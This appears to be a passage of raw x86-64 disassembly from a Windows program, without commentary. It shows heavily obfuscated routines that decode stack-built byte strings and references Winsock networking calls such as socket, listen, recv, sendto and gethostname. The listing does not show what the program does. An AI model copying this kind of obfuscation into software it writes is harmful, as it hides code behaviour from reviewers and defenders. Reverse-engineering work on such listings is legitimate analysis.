sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088f2e
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x140088f59
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x1400885f3
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
cmp r8, 8
jb 0x140088dc5
movzx r11d, r10b
lea ecx, [r11 - 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x1c]
jmp 0x140088e95
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
cmp rbx, 6
jae 0x140088dd5
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140088d2f
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x1400889b4
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x140088e1e
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140088c87
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
jmp 0x1400889f6
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x140088f59
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088f2e
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088efc
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x140088ef9
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140088df7
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400885f3
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400885f3
movzx r11d, r10b
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140088e95
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140088b95
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x140088a3b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088bd3
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x1400885f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088bff
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088f59
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088c27
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140088f2e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088c57
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088df7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088a3b
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088e95
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088cb3
movzx r11d, r10b
lea ecx, [r11 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
jmp 0x140088e95
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088cdf
movzx r11d, r10b
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
jmp 0x140088df7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088d07
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
jmp 0x140088ef9
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400889f6
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
jmp 0x140088efc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088d6d
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x1400885f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088d99
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088f2e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400889b4
movzx r11d, r10b
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140088e95
mov byte [rbp + r10 + 0x160], dil
inc r10
jmp 0x1400885f3
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x160]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x4d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x1b
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x160], r9b
jmp 0x140088ef9
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x160]
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x140088f2e
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x140088efc
movzx r11d, r10b
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x140088e95
movzx r11d, r10b
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
add r11b, 0x3d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x55
add r9b, r11b
mov byte [rbp + r10 + 0x160], r9b
inc r8
dec r10
inc r10
jmp 0x1400885f3
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
dec r10
inc r10
jmp 0x1400885f3
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400885f3
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
lea edx, [r10 + 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x160], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x3c
add r9b, cl
mov byte [rbp + r10 + 0x160], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x1400885f3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x57
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x1400885f3
add r10b, 0x27
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x11
jmp 0x1400885f0
sub r10b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x29
jmp 0x1400885d7
lea rcx, [rbp + 0x17c0704]
jmp 0x140089022
lea rcx, [rbp + 0x75adbf]
jmp 0x140089022
lea rcx, [rbp + 0x160]
xor r8d, r8d
lea rdx, [0x1401eb318]
call fcn.14003a850
movss xmm6, dword [0x1401443bc]
test al, al
je 0x14008907f
movss xmm0, dword [0x1401eb318]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1c8], eax
movss xmm1, dword [0x1401eb31c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401eb1cc], eax
movss xmm0, dword [0x1401eb320]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1d0], eax
mov byte [rbp + 0x180], 0x1b
mov byte [rbp + 0x181], 0xcb
mov byte [rbp + 0x182], 0xcd
mov byte [rbp + 0x183], 0xc8
mov byte [rbp + 0x184], 0xd7
mov byte [rbp + 0x185], 0x2d
mov byte [rbp + 0x186], 0x27
mov byte [rbp + 0x187], 0x2e
mov byte [rbp + 0x188], 0xd2
mov byte [rbp + 0x189], 0x61
mov byte [rbp + 0x18a], 1
mov byte [rbp + 0x18b], 0xd4
mov byte [rbp + 0x18c], 0xd8
mov byte [rbp + 0x18d], 0xda
mov byte [rbp + 0x18e], 0xdc
mov byte [rbp + 0x18f], 0x4f
xor eax, eax
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x198], eax
mov word [rbp + 0x19c], ax
movabs r14, 0xd37deec769858f4c
movabs r12, 0xc8718773e2a6eb14
movabs r15, 0x7a79cc563c90ade4
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x1e
jae 0x140089d68
movzx r9d, byte [rbp + r10 + 0x180]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140089d5c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089193
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x14
jmp 0x1400891d0
je 0x140089ce9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089c5b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089c03
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140089bdf
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140089b98
nop dword [rax]
cmp r8, r10
ja 0x140089d50
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140089205
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089253
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140089b75
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089b53
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140089b30
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089b11
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140089af2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140089ac4
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400897bc
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140089799
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140089771
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008974c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140089884
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140089731
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140089716
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400896f7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400896d8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400896a7
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140089260
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140089d33
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140089d16
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140089452
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140089433
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140089414
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140089652
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140089606
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400895c6
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400895a0
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140089260
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 9]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008956f
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140089554
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140089539
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008951e
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140089500
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400894dd
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400894b8
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140089490
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140089471
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140089260
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x10]
jmp 0x140089260
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089253
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400891d0
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089156
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx r11d, r10b
jmp 0x140089bb2
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140089143
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089143
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140089c1d
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140089c3f
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x140089c42
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140089c79
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140089ca4
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
mov byte [rbp + r10 + 0x180], dil
inc r10
jmp 0x140089143
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
cmp r8, 0x40
jb 0x1400895b6
movzx r11d, r10b
lea ecx, [r11 + 0x48]
movzx eax, cl
and al, r9b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140089bb2
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
cmp rbx, 0x1000
jae 0x140089a83
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400899c5
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x1400895dc
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140089aae
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400898d4
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008961c
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089ca4
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c79
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140089c42
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140089c3f
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089143
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140089143
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089bb2
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x1400897e4
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x140089668
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008981f
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008984b
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c79
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089877
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c3f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400898a3
movzx r11d, r10b
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x140089c1d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140089668
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x140089143
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089904
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089bb2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089933
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
dec r10
inc r10
jmp 0x140089143
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008995f
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c3f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008998b
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c42
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008961c
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089a03
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140089a2f
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089c79
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140089a57
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140089c3f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400895dc
movzx r11d, r10b
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x140089c1d
movzx r11d, r10b
lea edx, [r11 - 0x20]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x180]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r9b
jmp 0x140089c1d
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x48]
jmp 0x140089c79
lea ecx, [r10 - 0x6c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xc
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089c79
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089c42
movzx r11d, r10b
lea edx, [r11 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x140089c1d
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
dec r10
inc r10
jmp 0x140089143
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089bb2
movzx r11d, r10b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
sub r11b, 0x6c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0xc
add r9b, r11b
mov byte [rbp + r10 + 0x180], r9b
inc r8
dec r10
inc r10
jmp 0x140089143
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
inc r8
dec r10
inc r10
jmp 0x140089143
movzx r11d, r10b
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
add r11b, 0x2c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x34
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x180], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140089143
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x5c
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x180], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r10 + 0x180], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x140089143
add r10b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140089140
sub r10b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140089128
lea rcx, [rbp + 0x17c4890]
jmp 0x140089d6f
lea rcx, [rbp + 0x141d7dc]
jmp 0x140089d6f
lea rcx, [rbp + 0x180]
xor r8d, r8d
lea rdx, [0x1401eb328]
call fcn.14003a850
test al, al
je 0x140089dc8
movss xmm0, dword [0x1401eb328]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1d8], eax
movss xmm1, dword [0x1401eb32c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401eb1dc], eax
movss xmm0, dword [0x1401eb330]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1e0], eax
mov byte [rbp + 0x1e0], 0xfc
mov byte [rbp + 0x1e1], 0xea
mov byte [rbp + 0x1e2], 0xd1
mov byte [rbp + 0x1e3], 0xe4
mov byte [rbp + 0x1e4], 0xec
mov byte [rbp + 0x1e5], 0xe5
mov byte [rbp + 0x1e6], 0xe3
mov byte [rbp + 0x1e7], 0xaf
mov byte [rbp + 0x1e8], 0x8b
mov byte [rbp + 0x1e9], 0xdc
mov byte [rbp + 0x1ea], 0xe0
mov byte [rbp + 0x1eb], 0xa2
mov byte [rbp + 0x1ec], 0xa4
mov byte [rbp + 0x1ed], 0x31
xor eax, eax
